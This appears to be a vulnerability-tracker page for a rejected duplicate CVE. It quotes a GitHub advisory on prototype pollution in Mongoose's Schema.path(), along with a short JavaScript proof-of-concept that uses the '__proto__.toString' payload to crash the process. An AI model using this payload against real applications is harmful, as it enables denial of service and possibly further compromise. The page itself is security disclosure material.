CVE-2022-24304
criticalrejectedpriority · track · 0USRejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
weaknesses
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affected products (2)
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advisories (1)
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- GHSA-h8hf-x3f4-xwgpMongoose Vulnerable to Prototype Pollution in Schema Object2022-08-27ghsa · osvUS
### Description Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Affected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack. ### Proof of Concept ```js // poc.js const mongoose = require('mongoose'); const schema = new mongoose.Schema(); malicious_payload = '__proto__.toString' schema.path(malicious_payload, [String]) x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack) ``` ### Impact This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.
also known as (3)
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sources
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references
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